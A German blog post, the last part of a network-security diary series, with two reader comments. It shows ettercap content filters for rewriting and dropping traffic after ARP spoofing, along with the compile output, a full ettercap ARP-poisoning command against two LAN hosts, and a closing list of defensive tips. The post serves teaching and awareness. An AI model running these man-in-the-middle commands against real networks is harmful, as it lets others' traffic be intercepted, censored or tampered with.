ITS Tagebuch – Tag 7 – ettercap Filter und Abschluss

Hallo liebe Leute und willkommen zum vorerst letzten Teil unserer ITS Tagebuch Serie.
Den letzten Part unserer Netzwerksicherheitsserie will ich nutzen, um unsere bisherigen Erfolge zu einem
konkreten „Angriff“ zu bündeln, und noch einmal Tipps zu geben, wie die Sicherheit in Netzen erhöht werden
kann.
Fangen wir zuerst mit dem Angriffsteil an, in diesem Fall nutzen wir Filter für ettercap um Traffic zu
manipulieren. Ich halte das ganze sehr allgemein, wer wirklich daran interessiert ist, soll sich selbst etwas
schlau machen über die Syntax der Filter und Möglichkeiten.

Theorie:

Wir können schon durch ARP-Spoofing den Traffic zwischen 2 Punkten in einem Netz abfangen und über
unsere Maschine umleiten. Zwischen Annahme und Weitersenden des Traffics kommt nun ein weiterer
Schritt hinzu, die Manipulation. Und Manipulation kann hier so ziemlich alles sein, vom einfachen
Austauschen von Wörtern (Zensur) bis hin zur Sperre bestimmter Internetseiten oder IP-Adressen.
Genau so gut könnte ein Angreifer auch aufgerufene HTML-Seiten manipulieren und schadhaften Code
einschleusen.

Praxis:

Zunächst schauen wir uns die ettercap beiliegenden Beispiele für Filter an, unter BackTrack 5 R2 sind diese
unter /usr/local/share/ettercap zu finden.

############################################################################
#                                                                          #
#  ettercap -- etter.filter -- filter source file                          #
#                                                                          #
#  Copyright (C) ALoR & NaGA                                               #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################
##
#
# This filter will substitute the word 'ethercap' with 'ettercap' and
# will log the content of the packet in /tmp/mispelled_ettercap.log
# It is only a dummy example.
##

if (ip.proto == TCP && search(DATA.data, "ethercap") ) {
log(DATA.data, "/tmp/mispelled_ettercap.log");
replace("ethercap", "ettercap");
msg("Correctly substituted and logged.\n");
}


Dieser Filter ist simpel und effektiv zugleich: jegliche Vorkommnisse von „ethercap“ im Traffic werden
durch „ettercap“ ersetzt. Damit der Filter in ettercap verwendet werden kann, muss er zunächst
kompiliert werden:

root@bt:~# etterfilter -o etter.cmp /usr/local/share/ettercap/etter.filter
etterfilter 0.7.4.1 copyright 2001-2011 ALoR & NaGA

12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth

11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP

Parsing source file 'etter.filter' done.

Unfolding the meta-tree done.

Converting labels to real offsets done.

Writing output to 'etter.cmp' done.

-> Script encoded into 8 instructions.

Anschließend kann ettercap gestartet werden, dabei soll unser kompilierter Filter eingesetzt werden:

root@bt:~# ettercap -TqM arp:remote -i eth0 -F zensur.cmp /192.168.178.2/ /192.168.178.103/
ettercap 0.7.4.1 copyright 2001-2011 ALoR & NaGA

Content filters loaded from zensur.cmp...
Listening on eth0... (Ethernet)

eth0 -> 00:24:1D:C5:6E:83 192.168.178.110 255.255.255.0

Privileges dropped to UID 0 GID 0...

28 plugins
40 protocol dissectors
55 ports monitored
7587 mac vendor fingerprint
1766 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.178.2 20:2B:C1:EC:00:D7

GROUP 2 : 192.168.178.103 04:46:65:21:24:F3
Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

Hosts list:

1) 192.168.178.2 20:2B:C1:EC:00:D7
2) 192.168.178.103 04:46:65:21:24:F3

Correctly substituted and logged.
Correctly substituted and logged.

Ruft 192.168.178.2 nun http://google.com/?q=ethercap auf, ersetzt ettercap das „ethercap“ in der URL
durch „ettercap“. Hier wurden also gleich 2 Sachen erreicht: Zunächst wird der Request manipuliert, sodass
eine komplett andere Seite aufgerufen wird. Käme auf der Ergebnisseite nun doch noch das Wort „ethercap“
vor, würde dies ebenfalls durch „ettercap“ ersetzt werden.
Vielen Dank für die Rechtschreibhilfe, jedoch zeigt dieses Beispiel auch sehr anschaulich die Möglichkeit,
Zensur zu betreiben. Wir können alle Worte „Revolution“ durch „Verbrechen“ ersetzen, dem Opfer
„ein X für ein U vormachen“.
Ebenso könnten wir einfach allen Traffic von bestimmten IP-Adressen blockieren. Es werden einfach alle
Pakete die von einer bestimmten Quelle kommen, fallen gelassen (gedroppt). So ein Filter könnte
beispielsweise so aussehen:

if (ip.src == '173.194.69.94') { #google.de
    drop();
}

In diesem Fall wird die IP von google.de „geblockt“, ruft das Opfer die IP im Browser auf, wird die Anfrage
zwar gesandt, der Server schickt auch eine Antwort, jedoch wird durch den ettercap Filter erkannt, von
welcher IP der Traffic stammt und einfach fallen gelassen, die Daten erreichen das Opfer nicht mehr, dies
hat einen einfachen Timeout zur folge.
Es gibt noch unzählige andere Beispiele, Ich empfehle einfach mit den gelieferten Beispielen etwas zu
experimentieren.

Tipps zur Netzwerksicherheit:

Zum Abschluss dieser Woche (dies ist Tag 7 im ITS Tagebuch) will ich einige gut gemeinte Tipps
mit auf den Weg geben, wie der Gebrauch eines Netzwerks sicherer gestaltet werden kann:

Zuhause ist man am sichersten, denken viele. Auch wenn meiner Einschätzung nach Privatanwender im
eigenen Heim weniger häufig Angriffsziel werden als Nutzer von größeren (öffentlichen) Netzwerken, sollte
man sich hier keinesfalls in Sicherheit wiegen:
Statische ARP-Einträge sind sehr schnell erstellt und können bequem immer wieder eingetragen werden.
Somit ist man gegen ARP-Spoofing geschützt.
Generelles Misstrauen ist auch keine schlechte Idee, meldet der Browser plötzlich unsichere Zertifikate
oder bemerkt man seltsames Verhalten von Software, sollte man nicht einfach wegschauen und denken
„das wird schon nichts sein“ – Lieber auf Nummer sicher gehen, und die Webseite sofort schließen oder
das entsprechende Programm (evtl auch den ganzen PC?) beenden.
Bei verdacht auf einen Virus; Stromkabel ab! Über einen anderen PC eine Rettungs-CD laden und den PC
untersuchen lassen. Mögliche Rescue-CDs können einfach über Google gefunden werden.
Im Idealfall sollte man so viel Traffic wie möglich verschlüsseln. Encodierter Traffic wird für Dritte durch
Einsatz von signierten Zertifikaten nutzlos.
Dabei möchte ich aber auch explizit auf Gefahren hinweisen, die von dem Network of Trust-Modell
ausgehen: Wird die Vertrauenskette an einem Punkt gebrochen, kann das ganze System versagen.
Schlampt eine CA (Certificate Authory) mit der Signierung, nützen die Whitelists der Browser nichts mehr.
Um Netzwerktraffic zu verschlüsseln kann z.B. ein VPN genutzt werden.
Dies ist besonders in Öffentlichen Netzen wie WLAN-Hotspots sehr ratsam. Die Gefahr die durch den
offenen Netzwerkzutritt besteht, liegt auf der Hand.
Weiterhin sollte man wie immer: Starke Passwörter verwenden. Einen Hash eines starken Passworts zu
knacken dauert erheblich länger als das Knacken eines Standardpassworts wie „Hallo123“.
Und den Logout-Button benutzen. Dadurch wird die aktuelle Sitzung auf dem Server terminiert, dritte können
eventuell abgefangene Sessions nicht mehr weiter benutzen.
Filtern, wo immer es möglich ist. So verfügen viele Router über die Möglichkeit, MAC-Adressen zu Filtern.
So können nur explizit zugelassene Geräte dem Netzwerk vollständig beitreten. Ein Zugang für Freunde
und Verwandte ist auch schnell über das Webinterface erstellt.

Wie leicht Attacken in Netzwerken (leider?) sind, habe ich hoffentlich anschaulich aufgezeigt.
Es liegt nun an euch, liebe Leser, die Theorie zur Praxis zu machen. Falls noch nicht geschehen, sollten
oben stehende Tipps möglichst umgesetzt werden, zu eurer Sicherheit und der Anderer.

Ich hoffe ich konnte euch einen guten Einblick in einen kleinen Teilbereich des ITS Sektors geben.
Ich persönlich interessiere mich nicht nur einfach für die Technik und Theorie, Ich würde es auch gerne
sehen, dass sich mehr Menschen mit ihrer Sicherheit an PCs, Handys, in Netzwerken (etc.)
auseinandersetzen. Zu viele sehen diese einfach nur als Zauberkästen, bei denen es viel zu uncool wäre,
sich damit zu beschäftigen. Klaut euch der Nerd von nebenan allerdings euer Facebook-Konto, ist
Schluss mit Lustig. Leider können wir nicht einfach auf das gute im Menschen hoffen, da durch solche
Attacken Profit gemacht und Macht demonstriert wird, was einige magisch anzieht wie Licht die Fliegen.
Daher:
Schützt euch, auch im Internet ;)

MfG
Damon

PS: Die ITS Serie werde ich vorerst ruhen lassen, ich beschäftige mich nun damit den neuen Blog auf Basis
von WordPress komplett fertig zu stellen. Wahrscheinlich werde ich mich nun etwas mit C++ beschäftigen,
später könnte ich mir eine Reihe über Programmsicherheit wie auf dem Blog corelan.be vorstellen.

Dieser Eintrag wurde veröffentlicht in ITS Tagebuch, Security
Bookmarken: Permanent-Link Schreibe einen Kommentar oder hinterlasse einen Trackback: Trackback-URL.

2 Kommentare

  1. Anonymous
    Erstellt am 22. Mai 2013 um 19:02 | Permalink zum Kommentar

    Hi, erstmal thx für deinen Artikel! Weisst du zufällig an welcher Programmiersprache sich ettercap bedient? Ist das C?
    Gruß Anonymous

    • Erstellt am 22. Mai 2013 um 19:15 | Permalink zum Kommentar

      Meinst du den Sourcecode von Ettercap, oder die Syntax für die Filter?
      Ettercap selbst ist in C geschrieben und ist OpenSource: https://github.com/Ettercap/ettercap
      Die „Sprache“ in der die Filter geschrieben werden ist eine Skriptsprache, die nur einige Funktionen aufrufen kann. Man kann if/else Zweige nutzen, aber mehr auch nicht. Die Syntax ist C-Ähnlich, es kann aber nicht in C selbst programmiert werden.

      Weitere Informationen verrät die Manpage von etterfilter (man etterfilter ausführen).
      MfG
      Damon

Achtung: Wordpress interpretiert bestimmte Zeichenfolgen als Markup und verändert diese. Nutzt für Programmcode lieber Gist oder PasteBin-Services und verlinkt die Code-Schnipsel.

Post a Comment

Sie müssen angemeldet sein, um kommentieren zu können.